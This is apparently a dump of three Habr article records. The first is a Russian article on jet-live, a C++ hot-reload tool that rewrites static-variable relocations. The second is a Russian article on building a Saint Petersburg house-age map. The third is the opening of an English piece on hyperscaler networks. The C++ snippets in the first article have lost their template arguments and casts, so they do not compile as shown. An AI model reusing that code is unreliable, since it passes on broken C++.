C++ очень гибок и богат. И пусть элегантность решения некоторых задач на c++ граничит с дурно пахнущим кодом, я люблю этот язык. Например, представьте, что в вашем проекте не используется rtti. В то же время вам нужно иметь реализацию класса `Any` со сколь-нибудь типобезопасным интерфейсом:
```
class Any
{
public:
template
explicit Any(T&& value) { ... }
template
bool is() const { ... }
template
T& as() { ... }
};
```
Не будем вдаваться в детали реализации этого класса. Нам важно лишь то, что для реализации нам нужен какой-то механизм для однозначного отображения типа (compile-time сущность) в значение переменной, например `uint64_t` (runtime сущность), то есть "пронумеровать" типы. При использовании rtti нам доступны такие вещи, как `type_info` и, что больше нам подходит, `type_index`. Но у нас нет rtti. В этом случае достаточно распространенным хаком (или элегантным решением?) является такая функция:
```
template
uint64\_t typeId()
{
static char someVar;
return reinterpret\_cast(&someVar);
}
```
Тогда реализация класса `Any` будет выглядеть как-то так:
```
class Any
{
public:
template
explicit Any(T&& value)
: m\_typeId(typeId::type>())
// copy or move value somewhere
{}
template
bool is() const { return m\_typeId == typeId::type>(); }
template
T& as() { ... }
private:
uint64\_t m\_typeId = 0;
};
```
Для каждого типа функция будет инстанцироваться ровно 1 раз, соответственно в каждой версии функции будет своя статическая переменная, очевидно со своим уникальным адресом. Что же произойдет, когда мы перезагрузим код, использующий эту функцию? Вызовы старой версии функции будут перенаправляться в новую. В новой будет лежать своя статическая переменная, уже проинициализированная (мы скопировали значение и guard variable). Но нас не интересует значение, мы используем только адрес. И адрес у новой переменной будет другой. Таким образом данные стали несогласованными: в уже созданных экземплярах класса `Any` будет храниться адрес старой статической переменной, а метод `is()` будет сравнивать его с адресом новой, и "эта `Any` уже не будет прежней `Any`" ©.
### План
Чтобы решить эту проблему, нужно что-то более умное, чем простое копирование. Потратив пару вечеров на гугление, чтение документации, исходников и системных api, в голове выстроился следующий план:
1. После сборки нового кода проходимся по [релокациям](https://en.wikipedia.org/wiki/Relocation_(computing)).
2. Из данных релокаций получаем все места в коде, в которых используются статические (и иногда глобальные) переменные.
3. Вместо адресов на новые версии переменных в место релокации подставляем адреса старых версий.
В этом случае не останется ссылок на новые данные, все приложение продолжит работать со старыми версиями переменных с точностью до адреса. Это должно сработать. Это не может не сработать.
### Релокации
Когда компилятор генерирует машинный код, он в каждое место, в котором происходит либо вызов функции, либо загрузка адреса переменной, вставляет несколько байт, достаточных для записи в это место реального адреса переменной или функции, а также генерирует релокацию. Он не может сразу записать реальный адрес, поскольку на этом этапе ему этот адрес неизвестен. Функции и переменные после линковки могут оказаться в разных секциях, в разных местах секций, в конце концов секции могут быть загружены по разным адресам во время выполнения.
Релокация содержит информацию:
* По какому адресу нужно записать адрес функции или переменной
* Адрес какой функции или переменной нужно записать
* Формулу, по которой этот адрес должен быть посчитан
* Сколько байт зарезервировано под этот адрес
В разных ОС релокации представлены по-разному, но в итоге они все работают по одному принципу. Например, в elf (Linux) релокации расположены в специальных секциях `.rela` (в 32-битной версии это `.rel`), которые ссылаются на секцию с адресом, который нужно исправить (например, `.rela.text` — секция, в которой находятся релокации, применяемые к секции `.text`), а каждая запись хранит информацию о символе, адрес которого нужно вставить в место релокации. В mach-o (macOS) все немного наоборот, здесь нет отдельной секции для релокаций, вместо этого каждая секция содержит указатель на таблицу релокаций, которые должны быть применены к этой секции, и в каждой записи этой таблицы есть ссылка на релоцируемый символ.
Например, для такого кода (с опцией `-fPIC`):
```
int globalVariable = 10;
int veryUsefulFunction()
{
static int functionLocalVariable = 0;
functionLocalVariable++;
return globalVariable + functionLocalVariable;
}
```
компилятор создаст такую секцию с релокациями на Linux:
```
Relocation section '.rela.text' at offset 0x1a0 contains 4 entries:
Offset Info Type Symbol's Value Symbol's Name + Addend
0000000000000007 0000000600000009 R_X86_64_GOTPCREL 0000000000000000 globalVariable - 4
000000000000000d 0000000400000002 R_X86_64_PC32 0000000000000000 .bss - 4
0000000000000016 0000000400000002 R_X86_64_PC32 0000000000000000 .bss - 4
000000000000001e 0000000400000002 R_X86_64_PC32 0000000000000000 .bss - 4
```
и такую таблицу релокаций на macOS:
```
RELOCATION RECORDS FOR [__text]:
000000000000001b X86_64_RELOC_SIGNED __ZZ18veryUsefulFunctionvE21functionLocalVariable
0000000000000015 X86_64_RELOC_SIGNED _globalVariable
000000000000000f X86_64_RELOC_SIGNED __ZZ18veryUsefulFunctionvE21functionLocalVariable
0000000000000006 X86_64_RELOC_SIGNED __ZZ18veryUsefulFunctionvE21functionLocalVariable
```
А вот так выглядит функция `veryUsefulFunction()` (в Linux):
```
0000000000000000 <_Z18veryUsefulFunctionv>:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 8b 05 00 00 00 00 mov rax,QWORD PTR [rip+0x0]
b: 8b 0d 00 00 00 00 mov ecx,DWORD PTR [rip+0x0]
11: 83 c1 01 add ecx,0x1
14: 89 0d 00 00 00 00 mov DWORD PTR [rip+0x0],ecx
1a: 8b 08 mov ecx,DWORD PTR [rax]
1c: 03 0d 00 00 00 00 add ecx,DWORD PTR [rip+0x0]
22: 89 c8 mov eax,ecx
24: 5d pop rbp
25: c3 ret
```
и так после линковки объектника в динамическую библиотеку:
```
00000000000010e0 <_Z18veryUsefulFunctionv>:
10e0: 55 push rbp
10e1: 48 89 e5 mov rbp,rsp
10e4: 48 8b 05 05 21 00 00 mov rax,QWORD PTR [rip+0x2105]
10eb: 8b 0d 13 2f 00 00 mov ecx,DWORD PTR [rip+0x2f13]
10f1: 83 c1 01 add ecx,0x1
10f4: 89 0d 0a 2f 00 00 mov DWORD PTR [rip+0x2f0a],ecx
10fa: 8b 08 mov ecx,DWORD PTR [rax]
10fc: 03 0d 02 2f 00 00 add ecx,DWORD PTR [rip+0x2f02]
1102: 89 c8 mov eax,ecx
1104: 5d pop rbp
1105: c3 ret
```
В ней 4 места, в которых зарезервировано по 4 байта для адреса реальных переменных.
На разных системах набор возможных релокаций свой. В Linux на x86-64 целых [40 типов релокаций](https://github.com/lattera/glibc/blob/master/elf/elf.h#L3318). На macOS на x86-64 их [всего 9](https://opensource.apple.com/source/xnu/xnu-1504.7.4/EXTERNAL_HEADERS/mach-o/x86_64/reloc.h.auto.html). Все типы релокаций условно можно поделить на 2 группы:
1. Link-time relocations — релокации, применяемые в процессе линковки объектных файлов в исполняемый файл или динамическую библиотеку
2. Load-time relocations — релокации, применяемые в момент загрузки динамической библиотеки в память процесса
Во вторую группу попадают релокации экспортируемых функций и переменных. Когда динамическая библиотека загружается в память процесса, для всех динамических релокаций (сюда попадают в том числе релокации глобальных переменных) линковщик ищет определение символов во всех уже загруженных библиотеках, в том числе в самой программе, и адрес первого подходящего символа используется для релокации. Таким образом с этими релокациями ничего делать не нужно, линковщик сам найдет переменную из нашего приложения, поскольку оно попадется ему раньше в списке загруженных библиотек и программ, и подставит ее адрес в новый код, проигнорировав новую версию этой переменной.
Есть тонкий момент, связанный с macOS и его динамическим линковщиком. В macOS реализован так называемый механизм двухуровнего пространства имен (two-level namespace). Если грубо, то при загрузке динамической библиотеки линковщик в первую очередь будет искать символы в этой библиотеке, и если не найдет, пойдет искать в других. Это сделано в целях производительности, чтобы релокации разрешались быстро, что, в общем-то, логично. Но это ломает наш флоу касательно глобальных переменных. К счастью, в ld на macOS есть специальный флаг — `-flat_namespace`, и если собрать библиотеку с этим флагом, то алгоритм поиска символов будет идентичен таковому в Linux.
В первую же группу попадают релокации статических переменных — именно то, что нам нужно. Единственная проблема в том, что эти релокации отсутствуют в собранной библиотеке, поскольку они уже разрешены линковщиком. Поэтому читать их будем из объектных файлов, из которых была собрана библиотека.
На возможные типы релокаций также накладывает ограничение то, является ли собранный код position-dependent или нет. Поскольку мы собираем наш код в режиме PIC (position-independent code), то и релокации используются только относительные. Итого интересующие нас релокации — это:
* Релокации из секции `.rela.text` в Linux и релокации, на которые ссылается секция `__text` в macOS, и
* В которых используются символы из секций `.data` и `.bss` в Linux и `__data`, `__bss` и `__common` в macOS, и
* Релокации имеют тип `R_X86_64_PC32` и `R_X86_64_PC64` в Linux и `X86_64_RELOC_SIGNED`, `X86_64_RELOC_SIGNED_1`, `X86_64_RELOC_SIGNED_2` и `X86_64_RELOC_SIGNED_4` в macOS
Тонкий момент, связанный с секцией `__common`. В Linux также есть аналогичная секция `*COM*`. В [эту секцию](https://www.cs.stevens.edu/~jschauma/631A/elf.html) могут попасть глобальные переменные. Но, пока я тестировал и компилировал кучу фрагментов кода, на Linux релокации символов из `*COM*` секции всегда были динамическими, как у обычных глобальных переменных. В то же время в macOS такие символы иногда релоцировались во время линковки, если функция и символ находятся в одном файле. Поэтому на macOS имеет смысл учитывать и эту секцию при чтении символов и релокаций.
Отлично, теперь у нас есть набор всех нужных нам релокаций, что же с ними делать? Логика тут простая. Когда линковщик линкует библиотеку, он по адресу релокации записывает адрес символа, вычисленный по [определенной формуле](https://www.intezer.com/executable-and-linkable-format-101-part-3-relocations/). Для наших релокаций на обеих платформах эта формула содержит адрес символа в качестве слагаемого. Таким образом вычисленный адрес, уже записанный в тело функций, имеет вид:
```
resultAddr = newVarAddr + addend - relocAddr
```
В то же время мы знаем адреса обеих версий переменных — старых, уже живущих в приложении, и новых. Нам осталось изменить его по формуле:
```
resultAddr = resultAddr - newVarAddr + oldVarAddr
```
и записать его по адресу релокации. После этого все функции в новом коде будут использовать уже существующие версии переменных, а новые переменные просто будут лежать и ничего не делать. То, что надо! Но есть один тонкий момент.
### Загрузка библиотеки с новым кодом
Когда система загружает динамическую библиотеку в память процесса, она вольна разместить ее в любое место виртуального адресного пространства. У меня на Ubuntu 18.04 приложение загружается по адресу `0x00400000`, а наши динамические библиотеки — сразу после `ld-2.27.so` по адресам в районе `0x7fd3829bd000`. Расстояние между адресами загрузки программы и библиотеки сильно больше числа, которое бы влезло в знаковый 32-битный integer. А в link-time релокациях резервируется только 4 байта для адресов целевых символов.
Покурив документацию к компиляторам и линковщикам, я решил попробовать опцию `-mcmodel=large`. Она заставляет компилятор генерировать код без каких-либо предположений о расстоянии между символами, тем самым все адреса подразумеваются 64-битными. Но эта опция не дружит с PIC, как будто `-mcmodel=large` нельзя использовать вместе с `-fPIC`, по крайней мере на macOS. Я так и не понял, в чем проблема, возможно на macOS нет подходящих релокаций для такой ситуации.
В библиотеке под windows эта проблема решается так. Руками выделяется кусок виртуальной памяти недалеко от места загрузки приложения, достаточный, чтобы разместить нужные секции библиотеки. Затем в него руками грузятся секции, выставляются нужные права страницам памяти с соответствующими секциями, руками разруливаются все релокации, и производится патчинг всего остального. Я ленив. Мне очень не хотелось делать всю эту работу с load-time релокациями, особенно на Linux. Да и зачем делать то, что уже умеет делать динамический линковщик? Ведь люди, которые его писали, знают гораздо больше, чем я.
К счастью, в документации нашлись нужные опции, позволяющие указать, куда следует загрузить нашу динамическую библиотеку:
* Apple ld: `-image_base 0xADDRESS`
* LLVM lld: `--image-base=0xADDRESS`
* GNU ld: `-Ttext-segment=0xADDRESS`
Эти опции нужно передавать линковщику в момент линковки динамической библиотеки. Тут есть 2 сложности.
Первая связана с GNU ld. Для того, чтобы эти опции сработали, нужно, чтобы:
* В момент загрузки библиотеки область, в которую мы хотим ее загрузить, была свободна
* Адрес, указываемый в опции, должен быть кратен размеру страницы (в x86-64 Linux и macOS это `0x1000`)
* По крайней мере в Linux, адрес, указываемый в опции, должен быть кратен выравниванию `PT_LOAD` сегмента
То есть если линковщик выставил выравнивание в `0x10000000`, то эту библиотеку не получится загрузить по адресу `0x10001000`, даже с учетом того, что адрес выровнен по размеру страницы. Если одно из этих условий не выполнится, библиотека загрузится "как обычно". У меня в системе GNU ld 2.30, и, в отличие от LLVM lld, он по умолчанию выставляет выравнивание сегмента `PT_LOAD` в `0x20000`, что сильно выбивается из общей картины. Чтобы обойти это, нужно кроме опции `-Ttext-segment=...` указать `-z max-page-size=0x1000`. Я потратил день, пока не понял, почему библиотека не грузится туда, куда надо.
Вторая сложность — адрес загрузки должен быть известен на этапе линковки библиотеки. Это не очень сложно организовать. В Linux достаточно распарсить псевдо-файл `/proc//maps`, найти ближайший к программе незанятый кусок, в который влезет библиотека, и адрес начала этого куска использовать при линковке. Размер будущей библиотеки можно примерно прикинуть, посмотрев на размеры объектных файлов, либо распарсив их и посчитав размеры всех секций. В конце концов нам нужно не точное число, а примерный размер с запасом.
В macOS нет `/proc/*`, вместо этого предлагается воспользоваться утилитой `vmmap`. Вывод команды `vmmap -interleaved` содержит ту же информацию, что и `proc//maps`. Но тут возникает другая сложность. Если в приложении породить дочерний процесс, который выполнит эту команду, и в качестве будет указан идентификатор текущего процесса, то программа намертво повиснет. Насколько я понял, `vmmap` останавливает процесс, чтобы прочитать его маппинги памяти, и, видимо, если это вызывающий процесс, то что-то идет не так. На этот случай нужно указывать дополнительный флаг `-forkCorpse`, чтобы `vmmap` создал пустой дочерний процесс от нашего процесса, снял с него маппинг и убил его, тем самым не прерывая программу.
В общем-то это все, что нам нужно знать.
### Собираем все вместе
С этими модификациями итоговый алгоритм перезагрузки кода выглядит так:
1. Компилируем новый код в объектные файлы
2. По объектным файлам прикидываем размер будущей библиотеки
3. Читаем из объектных файлов релокации
4. Ищем свободный кусок виртуальной памяти рядом с приложением
5. Собираем динамическую библиотеку с нужными опциями, грузим через `dlopen`
6. Патчим код в соответствие с link-time релокациями
7. Патчим функции
8. Копируем статические переменные, которые не участвовали в шаге 6
В шаг 8 попадают только guard variables статических переменных, поэтому их смело можно копировать (тем самым сохраняя "инициализированность" самих статических переменных).
### Заключение
Поскольку это исключительно инструмент для разработки, не предназначенный ни для какого продакшна, самое страшное, что может случиться, если очередная библиотека с новым кодом не влезет в память, либо случайно загрузится по другому адресу, это перезапуск отлаживаемого приложения. При прогонке тестов в память по очереди грузится 31 библиотека с обновленным кодом.
Для полноты картины в реализации не хватает еще 3 увесистых кусков:
1. Сейчас библиотека с новым кодом грузится в память рядом с программой, хотя в нее может попасть код из другой динамической библиотеки, которая загрузилась далеко. Для фикса необходимо отслеживать принадлежность единиц трансляции к тем или иным библиотекам и программе, и дробить библиотеку с новым кодом при необходимости.
2. Перезагрузка кода в многопоточном приложении все еще ненадежна (с уверенностью можно перезагружать только код, выполняющийся в том же потоке, в котором находится runloop библиотеки). Для фикса необходимо часть реализации вынести в отдельную программу, и эта программа перед патчингом должна останавливать процесс со всеми потоками, производить патчинг, и возвращать его к работе. Я не знаю, как сделать это без внешней программы.
3. Предотвращение случайного падения приложения после перезагрузки кода. Пофиксив код, можно случайно разыменовать невалидный указатель в новом коде, после этого придется перезапускать приложение. Ничего страшного, но все же. Звучит как черная магия, я пока в раздумьях.
Но уже текущая реализация лично мне начала приносить пользу, ее достаточно для использования на моей основной работе. Нужно немного привыкнуть, но полет нормальный.
Если я доберусь до этих трех пунктов и найду в их реализации достаточное количество интересного, обязательно поделюсь.
### Демо
Поскольку реализация позволяет добавлять новые единицы трансляции налету, я решил записать небольшое видео, в котором я с нуля пишу неприлично простую игру про космический корабль, бороздящий просторы вселенной и расстреливающий квадратные астероиды. Писать старался не в стиле "все в одном файле", а по возможности раскладывая все по полочкам, тем самым порождая множество небольших файлов (поэтому вышло так много писанины). Конечно, для рисования, инпутов, окна и прочего используется фреймворк, но код самой игры писался с нуля.
Основная фишка — я только 3 раза запускал приложение: в самом начале, когда в нем была только пустая сцена, и 2 раза после падения по моей неосторожности. Вся игра инкрементально подливалась в процессе написания кода. Реального времени — около 40 минут. В общем, милости прошу.
Как всегда, буду рад любой критике, спасибо!
[Ссылка на реализацию](https://github.com/ddovod/jet-live) | https://habr.com/ru/post/437312/ | null | ru | null |
# How old is this house. Как я делал карту возраста домов Петербурга
### Идея
Примерно из ниоткуда возникает идея сделать прекрасную складную карту Петербурга, показывающую возраст домов, их архитектурный стиль и на которой будут выделены здания — яркие представители стиля.
В памяти есть какие-то онлайн-проекты.
Беглый поиск дает много примеров из разных городов: [Портланд](http://labratrevenge.com/pdx/#12/45.4800/-122.6706), [Рейкьявик](https://www.flother.is/2013/reykjavik-age/), Нью-Йорк: [Бруклин](https://www.bklynr.com/block-by-block-brooklyns-past-and-present/), [Манхеттен](http://io.morphocode.com/urban-layers/), [Барселона](http://bigtimebcn.300000kms.net/), [Любляна](http://www.virostatiq.com/data/ljubljana-building-ages/), [Львов](http://opengeo.intetics.com.ua/buildingage/), и даже проект масштаба страны, — [Нидерланды](http://bag.edugis.nl/#8/51.866/6.053/2012).
Про Петербург тоже кое-что есть: например, отличные данные на Петроградку: [«Ретроспектива застройки Петербурга»](https://medium.com/@pavelspb/%D1%80%D0%B5%D1%82%D1%80%D0%BE%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%B8%D0%B2%D0%B0-%D0%B7%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B8-%D0%BF%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3%D0%B0-3355924082b8) и проект Делового Петербурга: [«Как застраивался Петербург: история строительства города за 68 секунд»](https://www.dp.ru/a/2017/04/07/Kak_zastraivalsja_Peterburg).
Цель — бумажная карта, к идее сделать [how-old-is-this.house](https://how-old-is-this.house/) приду в процессе. Начинаю искать сырые данные.
### Данные
Проекты Павла Суворова про Петроградку и Делового Петербурга ссылаются на [«Технико-экономические паспорта многоквартирных домов»](http://data.gov.spb.ru/opendata/7840013199-passports_houses/) — это табличка на двадцать две с лишним тысячи домов, с разными характеристиками. Как я понял, она появилась благодаря программе взносов на капитальный ремонт. В таблице интерес представляют адрес и год постройки, географических координат, увы нет.
«Паспорта» лежат на портале [«Открытые данные Петербурга»](http://data.gov.spb.ru/). На нем же есть раздел [«Карта»](https://eatlas.data.gov.spb.ru/?) и, если хорошо искать, или у тебя знающие друзья, в разделе прочее есть слой «Объектно-адресная система Санкт-Петербурга». В нем прекрасно детализированная геометрия всех объектов, имеющих адрес в Петербурге, в атрибутах помимо названия объекта и адреса, регулярно встречается год постройки. Всего сто двадцать пять тысяч адресов, и сорок одна тысячa дат. Прекрасно подходит, только нужно избавиться от набережных, разъездных путей и прочего, что не является зданиями.
Но не каждое здание в Петербурге имеет адрес, зато почти каждое — отрисовано соавторами карты [OpenStreetMap](http://openstreetmap.org/). Именно этого нам недостает для базового слоя геометрии — выгружаем все объекты с ключами`building=*` и `addr:city='Санкт-Петербург'`. Заодно прихватим ключи с именем, адресом и годом постройки (изредка он бывает заполнен). Получаем сто сорок три тысячи объектов, из которых про две тысячи есть информация о годе постройки.
Eсли накинуть все адреса из паспортов домов как точки и выделить полигоны с годами из «объектно-адресной системы» и OSM — можно оценить покрытие. Оцениваем: очень много серых пятен — продолжаю искать исходные данные.
Искать долго не приходится, есть прекрасный «Архитектурный сайт Санкт-Петербурга CityWalls.ru». Деликатно собираем данные с портала, получаем табличку с адресом, годами постройки, именем архитектора, архитектурным стилем, ссылками на страницу сооружения и его фотографию. Таких записей 27 тысяч, но часть из них — утраченные здания.
Быстро превращаем адреса в точки, накидываем на карту вместе с предыдущими слоями — кажется покрытые очень приличное, ура!
Теперь нужно все эти данные собрать вместе, причесать и преобразовать в симпатичный вид.
### Геопроцессинг
Для решения геоинформационных задач использовал QGIS и ArcGIS Pro, если нужно было что-то автоматизировать на Python — PyCharm.
В первую очередь, готовлю слой зданий, который потом буду максимально наполнять атрибутами. Основа слоя — «Объектно-адресная система Санкт-Петербурга» с портала открытых данных Санкт-Петербура, геометрия детальная, видимо, из кадастровых паспортов, смотрится красиво, бонусом забираем все мосты. Максимально избавляемся от ненужных нам полигонов набережных, подъездных путей, площадок складирования и т.п.
Из выгрузки OpenSteetMap забираем все полигоны, которые не пересекаются с полигонами из первого слоя. Получаем вот такой результат на сто сорок две тысячи объектов, полезные атрибуты из исходных слоёв уже включены.
*Базовый слой зданий «Объектно-адресная система Санкт-Петербурга»+ OpenStreetMap*
«Технико-экономические паспорта многоквартирных домов» — это таблица, в которой один из столбцов — адрес. Для того, чтобы использовать эти данные, таблицу нужно геокодировать — каждой записи сопоставить точку с координатами. Пишем простой скрипт на Python, который с помощью одного из сервисов геокодирования добавляет столбцы широты и долготы в таблицу. По пути теряем небольшой процент записей — некоторые адреса не удается обработать.
На сайте СityWalls.ru простая структура, данные несложно собрать автоматически. Пишу простенький парсер, который собирает ссылку на страницу дома, его id на портале, текстовую строку: года постройки, архитектурный стиль, архитектора, название, адрес и ссылку на фотографию. Координаты с сайта не подходят — пользователи часто отмечают точки рядом с домом, а не сам дом, поэтому сам геокодирую слой, используя уже готовый скрипт. В результате — географические точки с аттрибутами на двадцать семь тысяч зданий.
По простому принципу — если точка находится на полигоне — присоединяем информацию из «Паспортов» и CityWall к зданиям. Теперь про каждый полигон у нас есть табличка с кучей информации из разных источников:
* «Объектно-адресная система Санкт-Петербурга»
* OpenStreetMap
* «Технико-экономические паспорта многоквартирных домов»
* СityWalls
Похоже на помойку. В итоге хочется иметь на каждое здание аккуратный набор атрибутов:
* название
* год постройки
* архитектор
* стиль
* адрес
* ссылку на страницу CityWalls
* ссылку на фотографию
* id
Эмпирически определяем приоритет источников для атрибутов, например, адреса лучше всего указаны в слое «Объектно-адресная система», хорошо — в «Паспортах» и примерно одинаково по качеству — в CityWalls и OpenStreetMap
Отдельный прикол с годом, для анализа нужно число, а во всех источниках — это строка, причем формат очень разнообразный: это может быть понятный "1703" или "1703г", список годов "1703,2020", период строительства "1822-1917", эпоха "до 1822", или прекрасное "1 9471 94 8", а также их комбинации и исключения.
Немного покрутив данные и пару раз сделав плохой выбор, нахожу правило, которое дает приличный результат: берем первое четырехзначное число из строки, если это не период, иначе — второе из первого периода в строке. Немного мучений с магией регулярных выражений, и в одну строку кода превращаем все текстовые поля дат в числа.
*Зеленый — полигоны с годами, красный — без года*
Если смотреть на процент заполнения (из ста сорока двух тысяч полигонов, года есть только для пятидесяти пяти), кажется, что покрытие вышло слабое, но если оценить на пространственное распределение, и качество объектов (например, дома против трансформаторных будок), получается прилично. Визуально кажется, что задачу слой выполняет: видны пространственные паттерны, дырок визуально мало, или они распределены равномерно. Слой интересно изучать, но перфекционист хочет полного покрытия, перфекциониста пока придушим.
Стоит оценить качество полученных данных. Из базовых методов, всегда доступно — можно посмотреть на график:
Сразу бросаются в глаза два пика — 1917 и 2008 год. Провалы после революции, Великой Отечественной войны и распада Советского союза — логичны и читаемы. Как быть с двумя выбросами? Гипотеза такая — многие дома дореволюционной постройки помечены как 1917, всякие варианты "до/предположительно" я отмечал.
2008 год — это, и вправду, период активного строительства в Петербурге. Цифры за 2008 на сайте Комитета по строительству и архитектуре меньше, но это ни о чем не говорит. К сожалению, я не помечал из какого источника взят год в итоговой таблице, расследование отложу на потом.
Беды большой в этом нет, но важно пользователя или предупредить об аномалиях, или показывать данные так, чтобы выбросы не влияли на достоверность визуализации.
Ура! Данные обработали, качество оценили, можно визуализировать.
Кстати, набор свободно доступен по лицензии CC BY-SA в разделе ["Данные"](https://how-old-is-this.house/dataset).
### Палитра цветов
Опыт коллег подсказывает, что выигрышно смотрится представление возраста домов в непрерывной палитре от горячих цветов к холодным, на темном фоне. Попробуем:
возьмем стандартную темную базовую карту от ESRI и цветовую палитру Spectral, предустановленную в QGIS:
Смотрится эффектно, но хочется, чтобы было круто и как-то связано с Петербургом.
Задача — подобрать цвета для базовой карты и домов. Один из моих любимых фотографов Петербурга — [Андрей Михайлов](https://www.instagram.com/andrei_mikhailov/), цвета на его фотографиях созвучны с моим "чувством города". Из инстаграмма фотографа набираю картинки, чтобы выудить из них ключевые цвета.
Таким образом, красный цвет с фасада Пантелеймоновской церкви, желтый — с Адмиралтейства и Петропавловского собора, зеленый цвет — с башни Кунсткамеры и синий — с купола Троицкого собора собираются в палитру.
Попы грифонов с Банковского мостика и крыши Васильевского острова дают так нужный нам диапазон синих и темно-серых оттенков. Все же Петербург.
В [Mapbox Studio](https://studio.mapbox.com/) весело и удобно делаем базовую карту:
*studio.mapbox.com*
Собираем все вместе. Нужно немного поэкспериментировать с распределением временной шкалы по палитре, в итоге информативным оказывается способ, когда в каждом цветовом отрезке равное число объектов.
Получается эффектно, мне нравится, эффект "светлячков" смотрится хорошо, картинка как будто светится. Переход от старого "лампового" уличного освещения к новому "светодиодному" получается обыгран в цветах, символично. При этом четко читаются эпохи, но не настолько, чтобы пики 1917 и 2008 были заметны — славно. Впереди следующий этап — нужно как-то это показать людям.
### Проклятый-Старый.дом
Нужен прототип. Кидаю набор данных друзям, которые разрабатывают [хаб пространственных данных «Геосемантика»](https://geosemantica.ru). На карте показываем возраст цветом, а при нажатии на дом показываем его атрибуты и фотографию, если она есть. Пробую веб карту на "ближнем круге".
Друзья-кролики положительно отзываются об исследовании карты как о процессе "залипательном", это наводит на мысль, что интерактивная веб-карта может быть хорошим способом показать собранные данные, а также их улучшить, если наладить механизм сбора правок.
Веб-разработчик я плюс-минус никакой, поэтому одновременно советуюсь с заинтересованными однокурсниками, изучаем платформы и реализации других подобных платформ. Требования примерно такие:
быстро отрисовывать наши сто двадцать тысяч полигонов в разработанном стиле на своей базовой карте
возможность фильтрации по временной шкале
показывать карточку объекта с атрибутами и фотографией
наладить сбор крауд-правок.
Получаю дружественный совет присмотреться к платформе [Carto](https://carto.com/). Кроме сбора правок, так или иначе всем требованиям платформа отвечает, причем на бесплатных тарифах можно сделать довольно много. Немного шаманим с данными, чтобы они дружили с Carto, например, год, чтобы его красиво показывать на временной шкале-гистограмме, должен быть в формате DDMMYYHHMMSSZ, или длина текстового поля должна быть не более 255 знаков.
Колдуем над HTML карточкой объекта, чтобы она была красивой и показывала ссылки. Вздыхаем, что не все реализовано, как бы хотелось, а тонкая настройка возможна с API, что трудоемко и дорого. Получается довольно симпатичная, быстрая и отзывчивая веб-карта.
*carto.com*
Проблему сбора правок решаю в меру изящным костылем. Гугл-форму можно предзаполнить по параметрам в ссылке, а ответы она, форма, складывает в таблицу. Это нас вполне устраивает: в таком виде правки можно и проверять, и можно автоматически обновить слой. Генерирую ссылки для каждого из объектов (некоторые выходят очень длинными, но костыль есть костыль), прикручиваем ссылку в карточку здания — сбор правок готов.
Теперь надо придумать доменное имя, задача оказывается прикольная и непростая: хочется передать в названии суть проекта, быть немного оригинальным и избежать слова "каждый" (потому что дом — не каждый). В процессе выясняю, что есть доменное пространство .house — рождается вариант «how-old-is-this.house». Если вдруг появится желание сделать проект глобальным — имя уже подходит. Только жаль, что нет русского домена [.дом](https://www.youtube.com/watch?v=zNQ3rndWjjI).
Веб-разработка, как я уже говорил, это не про меня — поэтому изучаю разные онлайн-конструкторы сайтов и останавливаюсь на [Тильде](http://tilda.cc/). Особенно хорошо, ей удается адаптировать сайт под разные размеры экрана, что важно.
Верстаю сайт, вставляю карту с carto.com, делаю его двуязычным, подключаю комментарии, адаптирую под разные размеры экрана — вообще, процесс интересный. Результат — [how-old-is-this.house](http://how-old-is-this.house/)
### "Там что-то было про бумажную карту?"
В картографии очень люблю делать вещи осязаемые: печатные или деревянные. Чтобы можно было руками потрогать, на полку поставить или на стену повесить, например, и относительно холоден к мобильным и веб историям (и в одном и в другом убедитесь в моем [портфолио на Behance](http://behance.net/nslavin)).
Исходной идей было сделать бумажную карту центра Петербурга, в голове её образ уже есть. Но в процессе работы стало ясно, что данных и времени на подготовку нужно больше, чем казалось в начале пути, поэтому я продолжаю работать над ней. На странице ["Постер и бумажная карта"](https://how-old-is-this.house/shop) можно подписаться на уведомление о её готовности.
Стиль визуализации, разработанный для веба, прямо просится на плакат и на стену. Вооружаюсь цитатой [Шарля Жозефа Минарда](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D0%BD%D0%B0%D1%80,_%D0%A8%D0%B0%D1%80%D0%BB%D1%8C_%D0%96%D0%BE%D0%B7%D0%B5%D1%84): "Мои карты не просто показывают, они так же рассчитывают, вычисляют для глаза; это переломная точка...", и приступаю к верстке постера. Цель — красиво показать полученные данные, желательно так, чтобы можно было увидеть каждый дом, а также показать распределение зданий на карте по годам постройки. Кажется, что если окрасить в разработанную палитру гистограмму — выйдет познавательно.
Выбираю платформы для печати на заказ постеров. Соотношу рабочий масштаб карты и доступные размеры на платформах для печати — размер постера 60\*90 сантиметров.
Верстка — дело приятное, тем более, львиная часть работы сделана до этого: экспортирую растр высокого разрешения из QGIS, в Adobe Illustrator готовлю гистограмму, добавляю копирайты, логотипы. Сейчас важно не забыть показать аномалии на гистограмме и пояснить, в чем дело. Получилось симпатично.
Заказываю пробные отпечатки на обеих платформах, финальные правки — готово!
Постер можно купить на странице ["Постер и бумажная карта"](https://how-old-is-this.house/shop)
*Улыбчивая безымянная девушка из Printful держит виртуальный постер*
### Спасибо
Было весело делать этот проект, хочу сказать спасибо:
* друзьям, кто терпел меня и тестировал и вычитывал разные части и этапы проекта
* Саше Семенову из Геосемантики за технические консультации и советы
* нашей самой крутой магистерской программе по картографии [Cartography M. Sc.](http://cartographymaster.eu/), которая дает мне возможность, круг коллег и время делать такие истории
-Ване Тхоржевскому и Машеньке Садчиковой, которые героически организовали образцовое производство, упаковку и доставку с нуля за сутки
Бонус хабру, по просьбам трудящихся — [обои для рабочего стола](https://yadi.sk/d/KbKQ8F54Z1itHg), | https://habr.com/ru/post/504216/ | null | ru | null |
# Network Infrastructure — how is it seen by hyperscalers
### Introduction
Oversimplified representation of an architecture of a modern hyperscaler network infrastructureNetwork architecture at hyperscalers is a subject to constant innovation and is ever evolving to meet the demand. Network operators are constantly experimenting with solutions and finding new ways to keep it reliable and cost effective. Hyperscalers are periodically publishing their findings and innovations in a variety of scientific and technical groups.
The purpose of this article is to summarize the information about how hyperscalers design and manage networks. The goal here is to help connecting the dots, dissect and digest the data from a variety of sources including my personal experience working with hyperscalers.
